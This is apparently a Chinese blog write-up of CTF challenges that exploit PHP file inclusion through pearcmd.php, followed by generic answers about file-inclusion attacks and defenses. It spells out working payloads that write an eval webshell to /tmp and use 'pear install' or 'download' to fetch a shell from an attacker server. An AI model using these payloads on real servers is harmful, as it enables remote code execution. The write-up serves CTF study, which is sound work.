CTF中的pearcmd.php文件包含

首发掘金:https://juejin.cn/post/7147638903191814180

引文

其实这个去年就做虎符杯的题目时了解过,也是一个比较有趣的点,今年发现好多比赛都出过类似或者大差不差考这个知识点的题目,于是简单总结一下。

前置知识

PEAR

pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php.

register_argc_argv

php.ini里面的一个选项,默认为OFF,我们需要将其设置为ON。

1、cli模式(命令行)下

可以通过$_SERVER[‘argv’]`获得命令行参数

2、web网页模式下

传参时用+连接的值的个数就是argc,各个参数被存到argv里,

可以举个例子测试一下:

<?php
$xino=$_GET['xino'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

在这里插入图片描述

可以看到其中是用+号来进行分隔的。

PEARCMD.PHP

先看看pear的存放地点为/usr/bin/pear,我们看一下它的源码

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/pear" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/pear"
    INCARG="-d include_path=/usr/share/pear"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

是一个sh程序,并在最后一行调用了pearcmd.php ,跟进一下pearcmd.php会发现

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

判断 a r g v 是否为空,再尝试 ‘ argv是否为空,再尝试` argv是否为空,再尝试_SERVER[‘argv’]`,后者我们上文已经了解了是可以控制的,也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。,具体利用思路也就清晰了,我们可以通过包含pearcmd.php然后拼接执行一些操作。

利用

就简单举几个比较常用的例子

出网

没了解过pear的可能不清楚,pear工具简单来说就是用来下载东西了,这不就有思路了,能不能直接往服务器里下载一个马。

命令如下:其中shell就是我们vps里写个恶意木马。

pear install -R /tmp http://xxxxxxx/shell.php

不出网

pear工具里有一个命令叫:config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

我们可以构造url:

index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/xino.php

然后包含我们新建的这个文件就OK了。

例题

HXBCTF2021(EASYWILL)

willphp框架代码审计:

<?php
namespace home\controller;
class IndexController{
    public function index(){
        highlight_file(__FILE__);
        assign($_GET['name'],$_GET['value']);
        return view();
    }
}

进去只有这些,需要我们自行下载源码,然后修改源码的这一部分放本地去做就行。
我们按照题目跟进assign

public static function assign($name, $value = null) {
		if ($name != '') self::$vars[$name] = $value;
	} 

返回View.php

public static function fetch($file = '', $vars = []) {
		if (!empty($vars)) self::$vars = array_merge(self::$vars, $vars);	//数组合并
		$viewfile = self::getViewFile($file);
		if (file_exists($viewfile)) {
			array_walk_recursive(self::$vars, 'self::parseVars'); //处理输出
			define('__RUNTIME__', round((microtime(true) - START_TIME) , 4));	
			Template::render($viewfile, self::$vars);
		} else {
			App::halt($file.' 模板文件不存在。');
		}
	}

跟进render
Template.php

public static function renderTo($viewfile, $vars = []) {
		$m = strtolower(__MODULE__);
		$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
		if (basename($viewfile) == 'jump.html') {
			$cfile = 'view-jump.html.php';
		}
		$cfile = PATH_VIEWC.'/'.$cfile;
		if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
			$strs = self::compile(file_get_contents($viewfile), $vars);
			file_put_contents($cfile, $strs);
		}
		extract($vars);
		include $cfile;
	}

此处存在变量覆盖,可进行文件包含,name=cfile & value=xxx(我们想要包含的文件) 即可形成文件包含漏洞。

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/shell.php

执行马就可以了。

2022年羊城杯(rce_me)

因为这个比赛没打,看其他团队说这题也能用pearcmd.php去做,于是我们复现一下

题目给了我们源码

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

直接读取flag,会发现权限不够,既然题目会包含文件,那么我们不妨尝试一下

?file=/usr/local/lib/php/%70%65arcmd.php&+download+vps/shell.php

上传马之后我们可以进终端用date -f /flag去查询flag。

结语

还是太菜了,当初看羊城杯的这个题目时完全没有想到可以用这个方法来做,还是做题太少了啊。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: CTF 比赛常见的文件包含漏洞的做法包括: 1. 在文件嵌入恶意代码,例如 PHP 文件嵌入 PHP 后门。 2. 在文件嵌入解压后执行恶意代码的压缩包,例如在一个图片文件嵌入 zip 压缩包。 3. 在文件包含指向恶意网站的链接。 4. 在文件包含指向恶意文件的路径,例如在一个文本文件包含指向加密垃圾文件的路径。 最常见的文件包含漏洞的类型是 PHP 和其他服务器端脚本语言,因为它们可以在服务器上执行恶意代码。但也有可能在其他类型的文件发现文件包含漏洞,例如 PDF、Office 文档等。 ### 回答2: 在CTF比赛文件包含漏洞是一种常见的攻击方式。文件包含漏洞主要出现在动态网页,它指的是在文件引用其他文件时,未经有效的过滤或验证,导致恶意用户可以通过构造特定的请求,获取系统的敏感信息或执行任意代码。 首先,一个常见的做法是利用路径遍历来获取敏感文件。攻击者通过构造包含../的文件路径,让服务器读取到位于网站根目录之外的敏感文件。例如,攻击者可能会访问config.php,其包含数据库的用户名和密码。 其次,攻击者也可能利用文件包含漏洞实现远程文件包含,进一步扩大攻击面。如在引入文件的地方,通过传递网络路径的方式,将远程服务器上的恶意文件包含到受影响的网站上,从而执行任意代码。这种方式被称为远程文件包含(RFI)攻击。 除此之外,攻击者还可以通过利用用户的输入来实现文件包含漏洞。在某些情况下,网站可能会动态地引入用户提交的内容,例如通过GET或POST参数。攻击者可以构造恶意的参数值,使得网站将用户输入的内容当作文件路径进行解析,从而执行恶意代码或访问敏感文件。 为了防止文件包含漏洞,开发者需要进行严格的输入验证和过滤。例如,可以使用白名单机制,只允许系统访问指定目录内的文件。此外,对于用户输入的参数,要进行充分的校验和过滤,确保其只包含允许的字符和路径。 总之,在CTF比赛,常见的文件包含漏洞攻击方式主要包括路径遍历、远程文件包含和用户输入导致的漏洞。为了保护系统安全,开发者需要进行合适的输入验证、输出过滤和权限控制。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值